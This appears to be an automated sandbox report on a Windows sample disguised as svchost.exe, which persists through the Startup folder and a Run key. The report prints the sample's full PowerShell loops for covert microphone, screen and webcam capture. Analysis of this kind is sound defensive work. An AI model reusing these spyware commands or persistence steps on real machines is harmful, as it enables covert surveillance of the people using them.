Analysis

  • geolocation tags

    eueuropefrfrance
  • user interaction
    yes
  • max time kernel
    47s
  • max time network
    7s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/04/2026, 12:34

General

  • Target
    svchost.exe
  • Size 77KB
  • Sample260422-prxt8sft4l
  • SHA256 235a1232d7e3280ea2e315c1bf7883a24a28d86123f0e3bdd9017990bca28d74
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Drops startup file 5 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Media; $recorder = New-Object System.Windows.Media.MediaRecorder; while($true){ $recorder.StartRecording(); Start-Sleep -Seconds 1; $recorder.StopRecording(); $recorder.Save(\"$env:TEMP\\mic.wav\"); }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Media; $recorder = New-Object System.Windows.Media.MediaRecorder; while($true){ $recorder.StartRecording(); Start-Sleep -Seconds 1; $recorder.StopRecording(); $recorder.Save(\"$env:TEMP\\mic.wav\"); }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2720
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $path = \"$env:TEMP\\screen.png\"; $bitmap.Save($path); $graphics.Dispose(); $bitmap.Dispose(); Start-Sleep -Seconds 1; }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $path = \"$env:TEMP\\screen.png\"; $bitmap.Save($path); $graphics.Dispose(); $bitmap.Dispose(); Start-Sleep -Seconds 1; }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $camera = [System.Windows.Media.Capture]::new([System.Windows.Media.Capture]::Device.Defaults); $bitmap = $camera.GetFrame(); $path = \"$env:TEMP\\webcam.png\"; $bitmap.Save($path, [System.Drawing.Imaging.ImageFormat]::Png); Start-Sleep -Seconds 1; }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $camera = [System.Windows.Media.Capture]::new([System.Windows.Media.Capture]::Device.Defaults); $bitmap = $camera.GetFrame(); $path = \"$env:TEMP\\webcam.png\"; $bitmap.Save($path, [System.Drawing.Imaging.ImageFormat]::Png); Start-Sleep -Seconds 1; }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4352
  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    C:\Users\Admin\AppData\Local\Temp\svchost.exe
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3292
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Media; $recorder = New-Object System.Windows.Media.MediaRecorder; while($true){ $recorder.StartRecording(); Start-Sleep -Seconds 1; $recorder.StopRecording(); $recorder.Save(\"$env:TEMP\\mic.wav\"); }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Media; $recorder = New-Object System.Windows.Media.MediaRecorder; while($true){ $recorder.StartRecording(); Start-Sleep -Seconds 1; $recorder.StopRecording(); $recorder.Save(\"$env:TEMP\\mic.wav\"); }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2392
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $path = \"$env:TEMP\\screen.png\"; $bitmap.Save($path); $graphics.Dispose(); $bitmap.Dispose(); Start-Sleep -Seconds 1; }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3668
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap($bounds.Width, $bounds.Height); $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $path = \"$env:TEMP\\screen.png\"; $bitmap.Save($path); $graphics.Dispose(); $bitmap.Dispose(); Start-Sleep -Seconds 1; }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5076
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $camera = [System.Windows.Media.Capture]::new([System.Windows.Media.Capture]::Device.Defaults); $bitmap = $camera.GetFrame(); $path = \"$env:TEMP\\webcam.png\"; $bitmap.Save($path, [System.Drawing.Imaging.ImageFormat]::Png); Start-Sleep -Seconds 1; }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; while($true){ $camera = [System.Windows.Media.Capture]::new([System.Windows.Media.Capture]::Device.Defaults); $bitmap = $camera.GetFrame(); $path = \"$env:TEMP\\webcam.png\"; $bitmap.Save($path, [System.Drawing.Imaging.ImageFormat]::Png); Start-Sleep -Seconds 1; }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:896

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        svchost.exe

        • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe
        • Size 77KB
        • SHA256 235a1232d7e3280ea2e315c1bf7883a24a28d86123f0e3bdd9017990bca28d74
        • MD5 SHA1 SHA512 SSDEEP TLSH

        8B2B9A00839EED1DFDCCC3BFC2F5DF12

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
        • Size 1KB
        • SHA256 71ccd39de69ec147afd8ad4337a36829dcababbf40897250380c7770de551242
        • MD5 SHA1 SHA512 TLSH

        B46811C17859FFB409CF0E904A4AA8F8

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
        • Size 528B
        • SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
        • MD5 SHA1 SHA512 TLSH

        8B2B9A00839EED1DFDCCC3BFC2F5DF12

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
        • Size 174B
        • SHA256 1b8fc7334b9b2c9da6cebca4c0722b57836d13232f939c796c135f31a5f27414
        • MD5 SHA1 SHA512 TLSH

        B46811C17859FFB409CF0E904A4AA8F8

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
        • Size 170B
        • SHA256 12008b16a9c0eb2efcc28f89feeef21b790410c7b927cad62bf2a9ada5c39394
        • MD5 SHA1 SHA512 TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 61KB
        • SHA256 08a76e291bc87c47f4d17f27c90a75987e9784b8214fd65bd1fb1dde8d8aff39
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_ncayaskb.lmf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncayaskb.lmf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        screen.png

        • Path C:\Users\Admin\AppData\Local\Temp\screen.png
        • Size 590KB
        • SHA256 55ce324dc918d598f65befc31b4d9b9571318b40d3e17324b03e3e23d90347db
        • MD5 SHA1 SHA512 SSDEEP TLSH

        screen.png

        • Path C:\Users\Admin\AppData\Local\Temp\screen.png
        • Size 590KB
        • SHA256 b2788a5cdf433db84f98485573ddcdf6fdf2f606547e0f79240307fc275c7085
        • MD5 SHA1 SHA512 SSDEEP TLSH

        screen.png

        • Path C:\Users\Admin\AppData\Local\Temp\screen.png
        • Size 64KB
        • SHA256 db121c27578db50e5092ca67faaccfca28638ba51c2fea7f7f063ba1d555464e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        victim_id.txt

        • Path C:\Users\Admin\victim_id.txt
        • Size 44B
        • SHA256 b0eb9d073ba93579b887e6903c066bebc369275402d194f8651b5cb6df2bc9de
        • MD5 SHA1 SHA512

        memory/896-112-0x000002C79E040000-0x000002C79E04C000-memory.dmp

        memory/896-113-0x000002C7B7F90000-0x000002C7B873E000-memory.dmp

        memory/896-114-0x000002C79FC60000-0x000002C79FC72000-memory.dmp

        memory/1844-85-0x0000027C360C0000-0x0000027C360CC000-memory.dmp

        memory/1844-84-0x0000027C35F90000-0x0000027C36066000-memory.dmp

        memory/1844-83-0x00007FF6B76E0000-0x00007FF6B76F9000-memory.dmp

        memory/2392-118-0x00000222F82F0000-0x00000222F8A9E000-memory.dmp

        memory/2392-117-0x00000222F8150000-0x00000222F8162000-memory.dmp

        memory/2392-116-0x00000222F7EB0000-0x00000222F7EBC000-memory.dmp

        memory/2720-97-0x00000224A7A90000-0x00000224A7A9C000-memory.dmp

        memory/2720-99-0x00000224A7B30000-0x00000224A7B42000-memory.dmp

        memory/2720-98-0x00000224BFD00000-0x00000224C04AE000-memory.dmp

        memory/3292-90-0x00007FF6B76E0000-0x00007FF6B76F9000-memory.dmp

        memory/3292-91-0x000001C6C5650000-0x000001C6C5726000-memory.dmp

        memory/3292-92-0x000001C6C5740000-0x000001C6C574C000-memory.dmp

        memory/4352-100-0x00000254EE320000-0x00000254EE32C000-memory.dmp

        memory/4352-101-0x00000254EE700000-0x00000254EEEAE000-memory.dmp

        memory/4352-102-0x00000254EE680000-0x00000254EE692000-memory.dmp

        memory/4352-20-0x00000254EEEB0000-0x00000254EEED2000-memory.dmp

        memory/4924-105-0x000001FAD3590000-0x000001FAD35A2000-memory.dmp

        memory/4924-103-0x000001FAD18D0000-0x000001FAD18DC000-memory.dmp

        memory/4924-104-0x000001FAEB7C0000-0x000001FAEBF6E000-memory.dmp

        memory/5076-109-0x000001B72F7E0000-0x000001B72F7EC000-memory.dmp

        memory/5076-111-0x000001B72FBD0000-0x000001B72FBE2000-memory.dmp

        memory/5076-110-0x000001B747FF0000-0x000001B74879E000-memory.dmp